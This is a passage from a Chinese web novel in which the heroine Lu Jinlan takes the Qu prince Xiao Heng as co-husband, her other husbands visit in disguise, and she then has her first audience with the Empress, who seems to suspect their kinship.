不过陆锦澜转念一想,当皇帝的机会实在难得。古往今来,多少人为了皇位兴兵造反,残杀手足,争来斗去,你死我活。 我的女儿,若是生下来就有这个机会,这不就成了真正的皇族吗?生在罗马,说不定比我拿个系统,辛辛苦苦往上爬还轻松。 她没说同意,也没说不同意。萧承英默认她答应了,立刻吩咐下去,筹办喜事。 萧衡从囚龙关回来,得知这个喜讯,喜不自胜。 他兴冲冲构思婚礼,忙活了一夜,一晚上没合眼。一早上抱着乐器坐在床头,等陆锦澜一睁眼,他便开始奏乐,引吭高歌,载歌载舞。 萧衡弹奏着古老的乐器,唱着曲国欢快的歌谣,在屋子里舞步敏捷地旋转跳跃,衣袂飞扬尽情舞动。 陆锦澜还没见他这么高兴过,有些哭笑不得,“你就这么高兴?” 萧衡喜道:“嫁给你,我当然高兴。” 陆锦澜眉头一皱,“我什么时候说要娶你?” 乐声戛然而止,萧衡踉跄了一下方才站住,愣愣地看着她,黯然神伤。 “皇姐说,你答应了,难道皇姐骗我?” 他迷茫的低喃,一时心乱如麻,不经意间瞥见陆锦澜眼底的笑意,顿时咬牙扑上去,“好啊,你骗我?” 陆锦澜笑着捏了捏他的耳朵,“差点忘了,我昨晚说要娶你来着。不过娶平夫,不是纳小郎,我得跟我娘说一声。你身份特殊,我也得跟我朝皇上奏报一下。” 萧衡靠在她身上,温声道:“应该的,皇姐今日也派人去上都告知母皇了。婚礼暂时定在十日后,足够咱们知会亲友。我刚刚还在想,囚龙关的将领大多都与你有私交,我也都认识,咱们应该把晏将军她们都请来喝喜酒。” 陆锦澜微微一笑,“把那么多将领都请来?那你皇姐会不安吧?” 萧衡道:“不会的,皇姐说了,她这两日就和嬅国使团签订和谈契约。咱们两国修好,又是姻亲,多走动走动,不是更好?再说……” “再说皇姐已经决定将赤州城给你,早几日晚几日也不差什么。” 他贴在陆锦澜耳边,低声道:“我和城池,都是你的。” 温热的气流萦绕在耳畔,陆锦澜低笑一声,“嗯。” * 项如蓁昏睡了三日,醒来见陆锦澜笑嘻嘻地跟她说:“我女儿说不定能当皇帝,我又要成婚了,你赶紧起来喝喜酒啊。” 项如蓁连忙闭上了眼睛,她觉得这是个光怪陆离的梦。梦里陆锦澜天上一脚地上一脚的,也不知说什么呢。 后来她才知道是真的,陆锦澜大难不死,还迎来美事。 按照曲国的规矩,成婚前一天,妻夫二人是不能见面的。 萧衡心里莫名忐忑,忍不住把心腹的仆从叫来,“你去陆侯那边悄悄看一眼,看看她在做什么。” 那仆从忙问:“陆侯若问我干什么,我怎么回?” 萧衡道:“她要问你就说……我惦记她,让她今晚早点休息,明天会很累的。” 仆从快步去了,不一会回来禀道:“陆侯陪项将军在花园里练剑,我远远瞧一眼就回来了。路上碰到管事,她说陆侯家里来了两个男仆,正在府外候着,说是替陆家老娘给陆侯送东西来的。” “男仆?”萧衡俊眉微拧,“先把他们带到我这儿来。” 不一会儿,仆从将两个相貌出挑的年轻男人带到了萧衡跟前。 萧衡上下打量着二人,都是一等一的相貌,只不过一个看起来五官硬朗,另一个眼神忧郁气质更温柔一些。 萧衡怀疑地问:“你们是陆府的男仆?” 二人齐声道:“是。” 萧衡有些不信,“陆侯大婚时,我去过陆府,怎么不记得府上有你们这么貌美的男仆?” 气质温柔的那人忙道:“小人是大夫郎的陪嫁,名叫烟石。大婚那日我在洞房里伺候,没到外面去,所以小郎主那日应该没见过我。” 另一人忙道:“我叫庆儿,陆侯大婚时,我在云州的陆家老宅,小郎主应该也没见过我。” “是吗?”萧衡还是心存疑虑,这么好看的男仆,陆锦澜就没对他们下过手? 陆锦澜的那位正夫,难道真这么贤惠,放任这种姿色天天在陆锦澜面前晃? 萧衡直言不讳地问:“你们有没有爬过陆侯的床?” 两人慌张地对视了一眼,自称庆儿的人忙道:“回小郎主,庆儿是从小伺候陆侯的,只管更衣铺床收拾屋子,没有别的。至于别人……” 他瞥了一眼烟石,“至于别人有没有,我就不知道了。” 烟石脸色一黑,默默咬了咬牙,“回小郎主,不瞒您说,老夫郎当初选我做大夫郎的陪嫁,是有这个意思。不过,这种事要看主人家给不给机会。总之,我并未伺候过 陆侯。” 萧衡点了点头,“看来,那位大夫郎也没有传说中那么宽厚。” 庆儿道:“大夫郎待府中上下都很好,既和善又仁慈。” 烟石微微一笑,“和善仁慈没错,但男人嘛,难免有些忮忌心。陆侯在家的时间就那么些,陪谁的日子多了,他也会暗暗记着,是个爱吃醋的。” 庆儿白了他一眼,嗤笑道:“爱吃醋多寻常啊,也值得你在小郎主面前一说?若论忮忌心,雨眠小郎心思最重。隔三差五的装病卖乖,勾搭着陆侯往他屋里去。这些花样,陆府上下都看倦了。” 萧衡听着笑出了声,对一旁的心腹道:“看来侯府后宅也是明争暗斗,怪不得陆侯不急着回家。在我这儿,她最清净。” 仆从附和道:“那是自然,小郎主伺候得周到体贴无微不至,陆侯自然对您格外青睐。” 这话萧衡听着舒坦,便对二人道:“行了,你们过去见陆侯吧。明日观完礼再走,回去也好给你们宅子里的夫郎们讲讲,我们曲国的婚礼载歌载舞花样繁多,可比你们嬅国婚礼热闹多了。” 二人都笑得一脸牵强,低声应了,仆从引着他们去见陆锦澜。 * 陆锦澜练功出了汗,刚回房洗完澡换了衣裳,外面便道:“陆侯,您家里来了两个男仆,来给您送东西了。” 陆锦澜开门一看,二人忙将手中的盒子高高举过头顶,俯身跪拜,“拜见陆侯。” 陆锦澜嘴角抽了抽,佯装淡定,“是你们啊,进来说话。” 萧衡的仆从道:“陆侯,我家小郎主叮嘱您早些歇息。” 陆锦澜点了点头,“知道了,你回去吧,让他也好好休息。” 门一关,陆锦澜忍不住惊呼:“你们怎么来了?” 来人当然不是烟石和庆儿,而是凛丞和雨眠。 萧衡虽然参加过陆锦澜和凛丞的婚礼,但是凛丞当日盖着盖头,他没看到凛丞长什么样。 那时雨眠在云州养胎,萧衡就更没见过了。所以,二人得以蒙混过关。 凛丞连忙抱住陆锦澜,“我担心你,听说你又中毒又受伤的,都快把我吓死了。” 陆锦澜笑着拍了拍他的背,“没事,我不是跟你们说过吗?我不会有事的。你才刚出月子,大老远跑来,身体撑得住吗?” “撑得住,看见你什么都好了。” 见凛丞抱着陆锦澜不撒手,雨眠偷偷剜了他两眼。陆锦澜瞧见,便笑着空出一只手,摸了摸他的脸。 雨眠故意笑出声,“你手越来越重了,捏得我脸疼。” 凛丞转身白了他一眼,拿出正夫的款儿来,训斥道:“你还敢说?刚才当着小郎主的面编排我,你好大的胆子。” 雨眠赔笑道:“哎呦,我那哪是编排你啊?咱们若不说点坏话,小郎主怎么会高兴?他不高兴,说不定要盘问到什么时候。也许咱们这会儿,还见不到妻主呢。” 陆锦澜忙道:“好了好了,这么远跑来,不是为了到我面前吵架的吧?你们什么时候走?” 雨眠道:“那个小郎主让我们观完礼再走,他可真够傲慢的,以为我们是没见过世面的土包子。说什么让我们看看曲国的婚礼多热闹,回去给家里讲讲。” 凛丞也不满道:“虽然是平夫,也是我先进门先生下孩子的。你回头告诉他,让他别以为自己了不起。曲国小郎主怎么了?曲国都割让城池了,他还高傲什么?不过是你的手下败将,进了咱们陆家,他得守陆家的规矩。” 两人你一言我一语,先互相攻击,转而又一致对外。七嘴八舌说了一通,陆锦澜打了个哈欠,“不行了,我困了,我得睡个午觉。” 她往床上一趟,两人对视一眼,忙凑过来,捶腿的捶腿,按脚的按脚。 凛丞悄声在她耳边念叨:“你睡了,我们怎么办呐?这里人生地不熟的,今晚你要把我们安置在哪儿啊?” 陆锦澜轻笑一声,“你们当然安置在我房里,还想去哪儿?” 她闭着眼,感觉脸上被一左一右啄了一下,“多谢妻主。” 陆锦澜迷迷糊糊的睡了一会,萧衡的仆从又来敲门。 没完了?陆锦澜皱眉,“什么事?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 二人走后,萧衡又开始犯嘀咕,“我觉得那两个男仆看着就像是会勾引女人的,不该放他们过去伺候。” 身边的仆从忙问:“那要不要寻个由头,把他们叫过来?” 萧衡踌躇片刻,“都叫过来显得我心窄,陆侯知道了会不高兴。好像刚成婚,我就要管着她似的。叫过来一个,让他们知道我这位新夫郎的脾气,以后他们在我面前,知道收敛着,不敢放肆就是了。” 仆从忙问:“那叫哪一个?” 萧衡想了想,“叫那个眼睛水汪汪的,伶牙俐齿,会装可怜的那个。” 于是仆从来敲门,恭敬道:“启禀陆侯,小郎主说他以后要随陆侯去神京生活,对那边府里一概不了解,心里发慌。难得府里来人,想叫一个人过去说说话,了解下府里的情况。” 陆锦澜看了看怀里的两人,“你们谁去?” 雨眠连忙垂下眼,“我一个侧夫,又不持家,府里的情况我哪了解啊?再说我身份低微,跟小郎主说话心里发怵,怕说不好。” 凛丞哼了一声,“得了吧,你还说不好?全家数你嘴皮子厉害。你去,我不去。明天就要走了,我今晚陪着妻主。” 雨眠不说话,拽了拽陆锦澜的衣襟,一脸可怜。 陆锦澜咳嗽一声,问门外:“小郎主说没说要叫谁过去?” 门外回道:“说了,小郎主说,想请大夫郎的陪嫁烟石过去。他想问问府里的人事,正好跟烟石打听打听,正夫是怎么伺候陆侯的。小郎主说他身为平夫,也该学学,免得以后到了府上,惹出笑话。” 陆锦澜左右看了看,“谁是烟石?” 雨眠心不甘情不愿的垮着脸起身,陆锦澜笑着亲了他一口,“去吧。等回了家,我好好陪你。” 雨眠无奈地点了点头,“你可得说话算话。” 雨眠跟着来人去了,凛丞勾着嘴角,别提多得意了。 都说小别胜新婚,更何况陆锦澜是今夜小别重逢,明夜新婚。几番云雨,自不必说。 完事后,凛丞披着衣裳站在镜子前,抚摸着小腹上的疤痕,闷闷不乐,“虽然抹了你让雨眠拿回去的产后修复膏,还是能看出痕迹,这道疤是不是很难看?” 陆锦澜昏昏欲睡,借着烛光眯着眼瞧了瞧,敷衍道:“你挨了一刀,怎么可能一点痕迹没有?没有就怪了,快睡吧。” 凛丞怀安北时胖了三十几斤,他生完能下床之后,就开始想办法减肥。努力了一个多月,虽然瘦了十几斤,但还是比产前胖了些。 他坐到陆锦澜床边念叨:“曾大人家的夫郎跟我说,拿个铁棍,担在肩上,举起放下,每日做半个时辰,能很快痩下来。” 陆锦澜一听,这不是举铁吗?她瞥了他一眼,“你没那么做吧?” 凛丞笑了笑,低声道:“我看他那身材炼得也不怎么样,我多聪明啊?我一想这种法子,最出力的是手臂,天天那么锻炼,手臂会变粗的。你之前不是说,手臂粗了像青蛙,你不喜欢吗?我就没练。” 陆锦澜“嗯”了一声,“你别跟着他们瞎炼,他们都不懂什么叫科学健身。” “科学健身?”凛丞忙问:“那你懂吗?你教教我。我这肚子上都没有腹肌了,生完孩子腰粗了一圈,你快告诉我怎么瘦下去。” 陆锦澜闭着眼探入衣襟,摸了把他肚子上软肉,“嗯,是没有腹肌了。” 怎么练马甲线来着?陆锦澜在现代天天忙得蓬头垢面,没过劳肥就不错了,哪有心思研究减肥的事儿? 不过她常听人提起郑多燕、帕梅拉,偶尔也刷到过健身相关的短视频,依稀有点印象。 “你这样,你躺在床上,做蹬车的动作。” 凛丞一愣,“车不是马拉的吗?怎么蹬?” 陆锦澜怔了怔,“当我没说,我教你另外两个动作。这样叫平板支撑,这样叫仰卧起坐。” 陆锦澜给他示范了下,“你每天练这两个动作,练半个时辰。不出一个月,肯定能像没生之前一样,找回你的腹肌。” “真的?”凛丞算了算日子,“我练好的时候,你是不是就该回家了?” “嗯,和谈的事儿还有些后续流程要走。等交割完城池,都处理完,就该回去了。” 陆锦澜握住他的手,“你好好练,等我回去检验成果。” 凛丞安心地闭上眼睛,靠在她身侧,“为夫遵命, 我回去后会照顾好一家老小,保养好自己,等你回家。” * 第二日,陆锦澜和萧衡大婚。虽然筹备时日尚短,但萧承英亲自操办,又是两国联姻,依旧办得风光热闹。 曲国的不少皇亲重臣特意从上都赶到赤州,嬅国这边也去了不少将领和臣子。 宋婧骁虽然离得不远,但还是没去参加。 她派岳蝉等人替她到场,特意跟陆锦澜交代:“大帅说,她不来不是因为别的,只是听说婚礼宾客太多,她有些不放心。她不来,是免得曲国人起坏心,免得把咱们嬅国良将一窝端了。” 陆锦澜笑着摇头,暗自感叹宋婧骁真是心思老辣,永远防一手。 不过她老人家大概不知道这边的具体情况,抛开萧承英个人的打算不谈,以曲国的国力还不敢给嬅国来一场血色婚礼。 只要萧承英不想灭国,就不会趁机屠杀宾客。发这种疯,是活到头了。 婚礼进行得很顺利,唯一让嬅国人不满的是曲国人喜欢在婚礼上载歌载舞的风俗。 仪式进行完,菜都上齐了,按理应该开席了,结果一堆什么皇亲国戚,开始一个个招呼着上台,表演起了曲国的歌舞。 这边肚子都饿得咕咕叫了,那边还在那儿又唱又跳的。 晏无辛空着肚子喝了好几杯酒,心急地问陆锦澜:“什么时候开席?” 陆锦澜无奈地摇头,“我哪知道?早知道娶曲国人这么麻烦,我肯定得再考虑一二。” 她这时候才意识到,为了控制开席时间,不给发筷子的缺德招儿是古已有之。 桌上摆满了山珍海味,就是不给筷子,逼着宾客欣赏她们曲国人的歌舞。 不过嬅国这边来了那么多武将,平日里糙惯了,压根不管这个,谁说吃饭一定要筷子? 用孔鸾的话说:“活人还能让尿憋死?” 她在衣服上擦擦手,立刻把面前的那只烤全羊生拆了。 “岳将军,你要不要?左将军,来一块不?” 台上爱唱唱爱跳跳,这边已经吃起来了。于继芳看得瞠目结舌,忍不住低声提醒:“孔将军,注意礼数,别让人笑话。” 这话换个脸皮儿薄的读书人听了,会脸红。但孔鸾一天书都没读过,压根不知道“礼数”两个字怎么写,她只认她自己的理。 孔鸾:“笑话?谁啊?笑话我啊?她们曲国人整半天不开饭,让咱们饿肚子,我还没笑话她们呢,她们好意思笑话我?于大人,你也饿了吧?这块肉多,给你。” 她撕了一大块肉塞到于继芳碗里,于继芳转而用求助的目光看向陆锦澜,“陆侯,您吱一声吧。” 陆锦澜张了张嘴,“那个……吃吧吃吧,羊肉就得趁热吃,凉了膻。” 等曲国人跳完下台,嬅国人都快吃饱了。 反正两边都挺高兴,搞唱跳的很开心,吃手抓肉的也没掀桌子。 当晚洞房时,萧衡忍不住问:“昨天来的那两个男仆,里面是不是有你的夫郎?” 陆锦澜一笑,“怎么这么问?” 萧衡嘟囔道:“我见着他们就觉得讨厌。你说,他们哪个是你的夫郎?” 陆锦澜抿了抿唇,“你猜猜。” 萧衡仔细回想一番,“论姿色,算各有千秋。我还真有点猜不出来。难道……难道都是?” 陆锦澜笑着点了点头,萧衡气道:“我就知道,他们瞧着就像是来勾引你的!” 陆锦澜抬手扯下他的腰带,放在手中理了理,笑道:“你都当平夫了,还计较这个?人家见了你,可没说你坏话,你看你小气的。” “别说这些了,咱们还是干点儿正事。你们曲国的千秋基业,还指望着咱们的孩儿继承呢。” 萧衡凑上前去,委屈道:“他们是先来的,我是后到的。咱们刚成亲,他们俩就把我当傻子骗。以后咱们回了神京,入了府,你得给我撑腰,不能让他们欺负了我。” “好,给你撑腰。”陆锦澜笑着答应,顺手解开他的衣衫,“我先看看,你腰在哪儿。” 洞房里传来一声嬉笑,春色无边。 * 陆锦澜在边关又忙活了一个月,终于完成所有事宜。 陆锦澜带着两支使团、一众将领和五万精兵荣耀凯旋。 萧衡带着几十个仆从和一百多车的陪嫁跟在队伍中,隔着帘子见陆锦澜端坐马上威风凛凛,沿途各地官员百姓跪地相迎,更觉与有荣焉。 到了神京,丞相晏维津亲率百官在城门相迎。陆锦澜连忙下马,拱手道:“劳烦相尊和诸位大人在此等候,愧不敢当。” 晏维津笑道:“陆侯当得起,诸位将军都当得起。” 她的目光扫过晏无辛,才三个月不见,晏无辛比离京时变了许多。 看着好像长高了,也更壮了,也许是常常披甲练兵,脖子上被塞北的烈日晒出了界限分明的印子。 晏维津老眼一红,忙道:“诸位将军都辛苦了,此役为我朝取得开国以来从未有过的大捷,实乃嬅国大幸。诸位功在社稷,利在千秋。” “皇上龙心大悦,一直盼着你们回来,特命我等在此等候。全城百姓听闻我军凯旋的消息,也自发在城中迎候。” “请诸位将军上马,城中已备好馆驿供各位休息。陆侯和项晏两位将军,直接入宫,皇上要先见你们。” 陆锦澜等人又上了马,城中百姓夹道相迎,一众家眷也站在人群中,高兴得眼含热泪。 项如蓁朝金雪卿挥了挥手,“回家等着,我面完圣就回家。” 三人快马到了宫门口,赵祉钰笑着迎上来,“恭喜恭喜!我给陆侯和左右将军道喜。母皇要一个一个见你们,陆侯先去面圣吧。两位将军,去我宫里坐会儿?” 有了上次面圣苦等的教训,晏无辛忙道:“那就麻烦殿下了。” 陆锦澜跟随着宫人的接引,到了养心殿外,她停下脚步,在门外悄悄瞥了一眼。 皇帝赵敏成正坐在高高的龙椅上,伏案书写。 她还未细看,身侧的宫人低声提醒她,“陆侯君,您该进去了。” 陆锦澜刚要出声求见,皇帝忽然问道:“是靖安侯到了吗?” 陆锦澜连忙迈步进去,“臣靖安侯陆锦澜,参见皇上,吾皇万岁万岁万万岁。” 上面传来一声低沉的笑,“你到了,不进来,在外面偷看什么?” 陆锦澜如实答道:“启禀圣上,臣第一次面圣,没见过皇上,所以想……先看看皇上。免得回到家中,家里人问我皇上长什么样,我说不出来。” 皇帝又笑了笑,“那你看吧,朕许你好好看看。” 陆锦澜一点不客气,赵敏成让她看,她就真的抬起头好好看。 赵敏成还在伏案书写,虽然两人一高一低,但相隔几步,也能看个清清楚楚。 陆锦澜看了看皇帝,又看了看四周,不由得深吸一口气,轻叹一声。 赵敏成笑问:“你叹什么气?难道朕长得太丑,让你大失所望?” 陆锦澜低着头,忙道:“回皇上,臣并非溜须拍马之徒,发自内心的说,您面相疏阔,是天生的龙凤之姿,当然不丑。可是……我记得皇上您好像不到五十岁,看起来比臣想象的……想象的……” 陆锦澜搜肠刮肚地想词,赵敏成替她说道:“比你想象中老一些,是不是?” 陆锦澜紧张地咽了咽口水,“是。” 话音一落,耳边顿时传来无数吸气声。 陆锦澜连忙解释道:“可臣方才叹气,不是因为这个。” 她娓娓道:“是因为臣看到养心殿这么大,殿里伺候您的人这么多。可除了您,个个屏息静气,连大气都不敢喘,安静极了。这地方看着金碧辉煌,陈设奢华,却显得很是空旷。” “您是至高无上的皇上,有无数的人尽心伺候着。所以,臣先前以为您是养尊处优的,才会想象您特别年轻。但方才仔细一瞧,您鬓边的白发比我娘都多。” 耳边又听到无数人在倒吸凉气,方才引 领她进来的宫人吓得直冒冷汗,悄声制止道:“陆侯慎言。” 赵敏成眉头皱了皱,高声道:“让她说。” 陆锦澜继续道:“臣见到皇上便知道,皇上也不容易。您虽然至高无上,却也是高处不胜寒,天下万事都要您操心筹谋。臣曾听闻圣上宵衣旰食,起早贪黑的处理政务。想来您是心累,才会生了许多白发。” “所以,臣感叹。江山如此多娇,引无数英雌竞折腰。” “若有人说您不老,此人一定不实在。可若有人说您老,您也不必不悦。因为您是为天下事而老,是天下人之幸。” 陆锦澜一番话说完,大殿像死了人一样安静。过了许久,龙椅上方传来一声沉重地叹息。 “江山如此多娇,引无数英雌竞折腰?哈哈,好句。唉,朕多年来的苦心经营,竟被你一个年轻人一语道破。” “是啊,高处不胜寒呐。朕有时坐在这大殿里,也常常觉得寂寞。朕在位十七年,听过各种各样的赞美,还从未有人说朕为天下事而老。” “朕一直想要成为一个青史留名的好皇帝,你这句话朕要让史官记上,这是对朕最大的褒奖。” 我可没说你是个好皇帝啊!陆锦澜心底暗自腹诽。 很久之前,皇上袒护二郎主杀难民的时候,陆锦澜就确信赵敏成不是个好皇帝,至少不是无瑕的,做不到公正无私。 但在几次奏折往来后,陆锦澜同时确信,她是个有能力有手段的精明皇帝,绝不是凭一场厮杀侥幸夺得帝位的莽妇。 她坐在宫中,便可预料千里之外的战事发展。两人之前从未见过,她仅凭听闻来的消息,便能推断陆锦澜的行事作风,甚至以圣旨密令加以辅助,这是寻常人万万做不到的。 就拿严露锋的事来说,陆锦澜当时用了非常手段,先斩后奏。她以为皇上至少会申斥她一番,私下警告她不许再这样做。 但赵敏成什么都没说,她在群臣面前敷衍的斥责几句,便为她遮掩,说那是英雌本色,冲冠一怒为红颜。前线正值用人之际,事情过了便算了。 皇上私下给她的密旨密信,从未提起此事,大有一种许她放手去干的意思。 她是非常之臣,她亦是非常之君。 晏无辛之前说,皇家人心眼子比筛子都多。陆锦澜估摸着,这位就是掌握帝王之术且心机深沉的集大成者。 陆锦澜暗暗提醒自己:要小心应对,护好自己的脑袋。 赵敏成见她不说话,还以为她被吓着了,笑道:“你能实话实说,朕很高兴,不必害怕。平身吧,让朕也看看你。” 陆锦澜心道:实话可不敢全说,不然你一急,恐怕要砍我。 她站起身,皇帝便道:“抬起头来。” 陆锦澜微微抬起头,与皇帝对视了一眼,赵敏成忽然愣住。 嗯?陆锦澜有些奇怪,笑问:“难道臣长得太丑,让皇上大失所望了吗?” 皇帝微微摇头,招了招手,让她再上前几步。 陆锦澜站到案前,皇帝仔仔细细地打量着她,“你是云州首富陆今朝的女儿?” “是。” “你爹是谁?” “回皇上,我生父姓严。” “你今年多大?生辰是什么时候?” 又是这套问题,陆锦澜心里咯噔一下,却也只能照实回答:“臣是天和元年九月初六生的,今年十七岁。” “九月初六……”皇帝低喃。 陆锦澜忙问:“圣上为何这么问?” 赵敏成看了她一眼,微微一笑,“没什么,只是见你年少有为,想必你的母父一定待你很好。” 陆锦澜道:“是的,我娘看似严厉,但是很慈爱。我爹很宠我,体贴入微。她们对我很好,反而是我常常惹祸,让她们操心。” 赵敏成笑着点了点头,目光复杂,不知为何沉默了许久,还是陆锦澜主动打破沉默。 “对了,臣将定北侯通敌的书信带回来了,请皇上过目。” 赵敏成匆匆看了一眼,便兴致缺缺的放下,“你立了大功,朕不知该如何奖赏你。你有什么要求,尽管提,朕会尽量满足你。” 陆锦澜想了想,“皇上已经给了臣很大的封赏,臣十分感激,按理说不该再贪心些什么。但您若许臣提要求,那臣就斗胆提一提。” 赵敏成微笑着点头,“说来听听。” “通敌是大罪,定北侯死一万次都不为过。但她的女儿恐怕不知内情,在战事中还负了伤。臣斗胆为凌照人求情,希望皇上您能饶她一命。” 赵敏成想了想,“朕会考虑,还有呢?” 陆锦澜道:“学院的事儿,上次我们闹过,皇上您是知道的。臣恳切皇上为长远计,不再允许徇私舞弊的事儿发生。” 赵敏成一笑,“朕也这么想,不过如此一来,会引发新的麻烦,你会为朕分忧吗?” 陆锦澜没想到这么顺利,忙喜道:“臣愿意。那些大家族要是为此不满,臣去跟她们斗,本来舞弊就不对,我看谁有脸闹?” 赵敏成叹了口气,“朝中人事复杂,恐怕没你想得这么简单。但你既然要做这件事,朕也想试着让你们这些年轻人去做。” “朕已经决定让你们这批学生提前结业,明日在殿上封赏完你们这批将领,便给你们安排差事,让你们入朝为官。” “定北侯这一倒,各方势力一直在暗中角逐。你们这股新势力,会面临许多压力,你能顶得住吗?” 陆锦澜笑道:“臣是初生牛犊不怕虎,没什么顶不住的。再说,我们这些人年轻,不怕苦不怕累,受点气也能忍,会努力和老臣们搞好关系的。大家都是为朝廷做事,应该同心协力嘛。” 赵敏成笑着摇头,“朕可不信你能忍,但也许你们带来一股清风,帮朕冲散朝堂上的陈腐之气。朕手里有几个差事,你可以选一选。” 陆锦澜忙问:“有好差事吗?” 赵敏成摇头,“只有不好的差事,更不好的差事和最坏的差事。” 陆锦澜抿了抿唇,“那臣不选了,您要是对臣好,就别把最坏的差事派给臣。臣虽然能扛事,但也不想那么累。如果不用每日上朝,就更好了。” 赵敏成哼了一声,“做梦,五品以上的在京官员日日都要上朝,你岂能逃过?” “你还真敢说,朕告诉你,休想。另外朕要提醒你,你行事太高调,难免引人注意,别人说你几句你就听着,别一入朝就和人起冲突,弄得鸡犬不宁。” 陆锦澜当时还没明白这话什么意思,直到第二天在朝上听见那句:“臣要参靖安侯陆锦澜。” 陆锦澜心底立刻骂了一句:爹个腿儿的,我招你惹你了? 第102章 首次面圣,离开皇宫前,皇帝对陆锦澜道:“你既然想管教育事宜,就去礼部任职吧。礼部左卿出缺,你去顶上。” 礼部,掌管礼仪、祭祀、庆典等等,听起来是个闲差,但礼部同时还掌管教育科考和一切外交事宜。 陆锦澜在学院的时候就对许多事儿看不惯,早就想治一治教育口的歪风邪气。让她去礼部,简直是正中下怀。 当然,她也有一丝私心。想着以后主导涉外事宜,说不定能想个法子把蚩离请到嬅国来。 陆锦澜当场答应,皇帝忽然从龙椅上走下来,捏了捏她的手臂,拍了拍她的肩膀。 赵敏成温热的手掌搭在她的肩上,陆锦澜有点愣,这是哪一出啊? 皇帝离得很近,几乎用额头抵着她的额头。 赵敏成身形高大,又站在台上,此刻弓着身子压低了声音,像慈母一般温声叮嘱。 “十七岁是好年纪,还在长身体。一定要注意饮食,不管遇到什么事儿,都要好好吃饭。朕听闻你颇好美色,要知道节制方为保养之道。” 皇帝连这也管?陆锦澜有些脸热,微微抬眸,愣愣地点了点头。 皇帝又笑问:“你知道高处不胜寒,怎么还往高处走啊?” 陆锦澜噗嗤一笑,“皇上您这话就是逗我了,我又不傻?谁都知道人往高处走,虽然高处不胜寒,但高处还能一览众山小呢。” “身在高处,有好有坏,但一定是好远远多过坏。百姓不是常说,舍得舍得,有舍才有得吗?甘蔗不能两头甜,都在高处了,寒点儿就寒点儿吧,多加几件衣服就是了。” “臣以前觉得自己不是个爱争权夺利的人,懒得搅合。现在想想,那是因为我那时没有拥有过权力,怕使劲儿忙活还是一无所获,所以干脆劝自己算了。” “当我手中有了权力,体验过权力的滋味,自然就舍掉了懒惰,只想牢牢抓住权柄,为此付出辛苦也觉值得。” “臣不知道皇上如何看待朝中的争斗,但臣的看法却很乐观。” 赵敏 成勾着嘴角,听得颇有兴致,笑问:“乐观在哪儿啊?” 陆锦澜笑道:“很多人都希望朝堂一团和气,大臣们群策群力,不争不抢。臣却觉得这种期待太过理想化了,几乎是不可能的。” “一个几十人的小团体,都避免不了争斗。哪怕是码头上扛大包的苦力,也会为了一点蝇头小利,你争我抢。” “朝堂,是一个国家权力最集中的地方。天下间最诱人的权力,就在朝臣们中间流转,要求人人都不为所动,不贪不私,那简直有违人性。大家又不是庙里寺里修佛修道的,怎么可能毫无贪欲?” “再说了,就算是修佛修道的,也就是嘴上说得好听,背地里说不定有多少私欲膨胀的腌臜事。” 赵敏成笑出了声,“你这么小的人儿,就开始关心佛道的事了?” 陆锦澜看了她一眼,心说:你要是有互联网,那些让人大跌眼镜的新闻早就推给你了。 她吞咽了一下,将话题拉回来。 “臣是按常理推测,总之,不管什么人都是人。是常人,而非圣人。百官是人,臣不会用圣人的标准要求她们。她们能入朝为官,自然都有些本事。这些人争权,臣并不会觉得失望。” “权力,本身就是世上最具诱惑力的东西,大家不是理应争夺吗?” 赵敏成点了点头,陆锦澜道:“真正的问题不在于争权,而在争权的手段是否得当、能力是否和手中的权力匹配、得到了权力能否为广大人民谋取福利。” “臣乐观就乐观在定北侯已经伏法了,朝堂如今有争斗,说明还没有哪方势力能造成一边倒的局面。有争斗,就意味着有机会,一切还未尘埃落定。” “臣不敢保证自己争权的手段多磊落,反正不至于害人就是了。假如臣能得到三分的权力,就会尽五分的力,绝不会辜负圣上您给我的机会。” “臣不敢说一定做个流芳百世的名官,也至少能做个为民做主的好官。反正,臣肯定比大部分人做得好。” “再退一万步说……” 陆锦澜忽然住了口,赵敏成挑了挑眉,追问道:“再退一万步,如何?” 陆锦澜想了想,“再退一万步说,就算臣在这场权力的游戏中一败涂地,权力终究还是握在女人手中。权力在女人之间流转,臣觉得这点就值得乐观、庆幸。” 赵敏成背着手,笑吟吟的在她面前踱步。 “这话,朕有点儿听不明白。权力不在女人手中,在谁手中?难道这里面,还有男人的事儿?” 陆锦澜会心一笑,拱手道:“最让臣感到乐观的就是这里面没有男人的事儿,只要权力在女人手中,咱们女人的日子就不会过得太惨。不然……就不好说了,反正贪权总比失权好。” 赵敏成不解,但还是肯定道:“年轻人有想法是好事,你那些稀奇古怪的想法,朕不大懂。但朕很喜欢你看事情的态度,懂人性、知取舍、自信达观,比朕年轻时想得更清楚,少了许多痛苦挣扎……” 她说到这儿叹了口气,“锦澜呐,你要好好做事。记住,你前途无量,一切皆有可能。” 陆锦澜恭敬道:“臣,谢陛下教诲。耽搁您这么长时间,实在不该,臣告退了。” 赵敏成点了点头,陆锦澜退后几步,转过身迈出了殿门。 “锦澜!”皇帝忽然叫住她。 陆锦澜一愣,转过身见皇帝独自站在殿中。她戴着庄重的冕冠,穿着一袭华贵的龙袍,连折射出的影子都显得那么长。 但不知为何,陆锦澜看着她比实际年龄苍老许多的面容,忽然觉得她有些孤独。 赵敏成没有召唤她过去,只是提高了声音,问她:“按照你刚才所说,你觉得朕如何?” 陆锦澜不解,“皇上,您指的是……” 赵敏成道:“你觉得,朕争权的方式得当吗?朕和手中的权力,匹配吗?朕,为广大人民谋取福利了吗?” 陆锦澜心头一紧,她刚才只顾着论争权的事儿,说得太投入,忘了顾忌皇帝的心思了。 她该不会以为自己在内涵她吧? 陆锦澜手指抠着殿门上凸起的花纹,忙道:“臣方才的话,只适用于朝臣。您是天子,另当别论。” 赵敏成微微点头,“那你回去好好想想,朕想听听你的帝王论,想好了记得来见朕。” 真会给人出难题啊!陆锦澜皱着眉出了宫,回家路上就在想,这篇帝王论怎么作? 不夸她肯定不行,夸她又不想违心。实话实话,指定不行。要不,装傻吧? 嗯,对。下次问我,我就说我已经想破了脑袋,但我身为臣子,想象不到皇帝要操心多少事,实在无法评判。 想必,一定是很难的,是我这个年轻又刚入朝堂的臣子无法想象的。 对,就这么半真半假的吹着说,蒙混过关就是了。 她心里一想通,顿时愁云消散。 回到家,家里敲锣打鼓放鞭炮,老老小小,欢天喜地的围上来道喜。 陆锦澜被簇拥着进了门,看了看几个孩子,把带回来和偷回来的东西拿出些,给家里人分了分。 全家都很高兴,陆今朝得空悄悄把她拉到一边,“今日面圣,皇上说什么?” 